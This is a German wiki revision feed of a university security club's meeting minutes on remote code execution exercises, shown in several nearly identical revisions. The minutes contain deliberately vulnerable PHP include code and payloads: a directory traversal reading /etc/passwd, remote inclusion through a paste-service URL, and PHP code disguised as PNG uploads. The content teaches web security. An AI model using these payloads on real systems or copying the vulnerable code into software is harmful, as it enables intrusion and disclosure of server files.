		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11632</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-02</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11632"/>
		<updated>2010-12-26T20:25:24Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Quelltext */ dateiname verlinkt&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.&lt;br /&gt;
&lt;br /&gt;
== Hackit 1 ==&lt;br /&gt;
&lt;br /&gt;
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.&lt;br /&gt;
&lt;br /&gt;
=== Directory Traversal ===&lt;br /&gt;
&lt;br /&gt;
Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.&lt;br /&gt;
&lt;br /&gt;
=== Remote Code Inclusion/Execution ===&lt;br /&gt;
&lt;br /&gt;
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=&amp;lt;nowiki&amp;gt;http://dpaste.com/&amp;lt;/nowiki&amp;gt;&amp;lt;Zahl&amp;gt;/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&#039;&#039;&#039;index.php&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hackit 1.5 ==&lt;br /&gt;
&lt;br /&gt;
Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.&lt;br /&gt;
&lt;br /&gt;
=== Hochladen eines &amp;quot;Bildes&amp;quot; ===&lt;br /&gt;
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.&lt;br /&gt;
&lt;br /&gt;
=== Hochladen von foo.php.png ===&lt;br /&gt;
&lt;br /&gt;
Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.&lt;br /&gt;
&lt;br /&gt;
=== Kommentar von PNG-Dateien ===&lt;br /&gt;
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&#039;&#039;&#039;index.php:&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include(&#039;pages/&#039; . $_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben.&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* Weblinks folgen vielleicht&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11631</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-02</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11631"/>
		<updated>2010-12-26T20:24:31Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Sonstiges */ init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.&lt;br /&gt;
&lt;br /&gt;
== Hackit 1 ==&lt;br /&gt;
&lt;br /&gt;
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.&lt;br /&gt;
&lt;br /&gt;
=== Directory Traversal ===&lt;br /&gt;
&lt;br /&gt;
Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.&lt;br /&gt;
&lt;br /&gt;
=== Remote Code Inclusion/Execution ===&lt;br /&gt;
&lt;br /&gt;
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=&amp;lt;nowiki&amp;gt;http://dpaste.com/&amp;lt;/nowiki&amp;gt;&amp;lt;Zahl&amp;gt;/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hackit 1.5 ==&lt;br /&gt;
&lt;br /&gt;
Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.&lt;br /&gt;
&lt;br /&gt;
=== Hochladen eines &amp;quot;Bildes&amp;quot; ===&lt;br /&gt;
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.&lt;br /&gt;
&lt;br /&gt;
=== Hochladen von foo.php.png ===&lt;br /&gt;
&lt;br /&gt;
Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.&lt;br /&gt;
&lt;br /&gt;
=== Kommentar von PNG-Dateien ===&lt;br /&gt;
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&#039;&#039;&#039;index.php:&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include(&#039;pages/&#039; . $_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben.&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* Weblinks folgen vielleicht&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11630</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-02</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11630"/>
		<updated>2010-12-26T20:07:14Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: hackit 1.5 init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.&lt;br /&gt;
&lt;br /&gt;
== Hackit 1 ==&lt;br /&gt;
&lt;br /&gt;
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.&lt;br /&gt;
&lt;br /&gt;
=== Directory Traversal ===&lt;br /&gt;
&lt;br /&gt;
Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.&lt;br /&gt;
&lt;br /&gt;
=== Remote Code Inclusion/Execution ===&lt;br /&gt;
&lt;br /&gt;
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=&amp;lt;nowiki&amp;gt;http://dpaste.com/&amp;lt;/nowiki&amp;gt;&amp;lt;Zahl&amp;gt;/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hackit 1.5 ==&lt;br /&gt;
&lt;br /&gt;
Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.&lt;br /&gt;
&lt;br /&gt;
=== Hochladen eines &amp;quot;Bildes&amp;quot; ===&lt;br /&gt;
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.&lt;br /&gt;
&lt;br /&gt;
=== Hochladen von foo.php.png ===&lt;br /&gt;
&lt;br /&gt;
Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.&lt;br /&gt;
&lt;br /&gt;
=== Kommentar von PNG-Dateien ===&lt;br /&gt;
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&#039;&#039;&#039;index.php:&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include(&#039;pages/&#039; . $_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* Weblinks folgen vielleicht&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11629</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-02</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11629"/>
		<updated>2010-12-26T19:45:44Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: remote code inclusion/execution init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.&lt;br /&gt;
&lt;br /&gt;
== Hackit 1 ==&lt;br /&gt;
&lt;br /&gt;
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.&lt;br /&gt;
&lt;br /&gt;
=== Directory Traversal ===&lt;br /&gt;
&lt;br /&gt;
Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.&lt;br /&gt;
&lt;br /&gt;
=== Remote Code Inclusion/Execution ===&lt;br /&gt;
&lt;br /&gt;
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=&amp;lt;nowiki&amp;gt;http://dpaste.com/&amp;lt;/nowiki&amp;gt;&amp;lt;Zahl&amp;gt;/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* Weblinks folgen vielleicht&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11628</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-02</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11628"/>
		<updated>2010-12-26T19:28:58Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: init Hackit1&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.&lt;br /&gt;
&lt;br /&gt;
== Hackit 1 ==&lt;br /&gt;
&lt;br /&gt;
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.&lt;br /&gt;
&lt;br /&gt;
=== Directory Traversal ===&lt;br /&gt;
&lt;br /&gt;
Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.&lt;br /&gt;
&lt;br /&gt;
=== Remote Code Inclusion/Execution ===&lt;br /&gt;
&lt;br /&gt;
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution].&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;?php edit ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* Weblinks folgen vielleicht&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11627</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-02</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11627"/>
		<updated>2010-12-26T19:11:58Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Ablauf */ init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
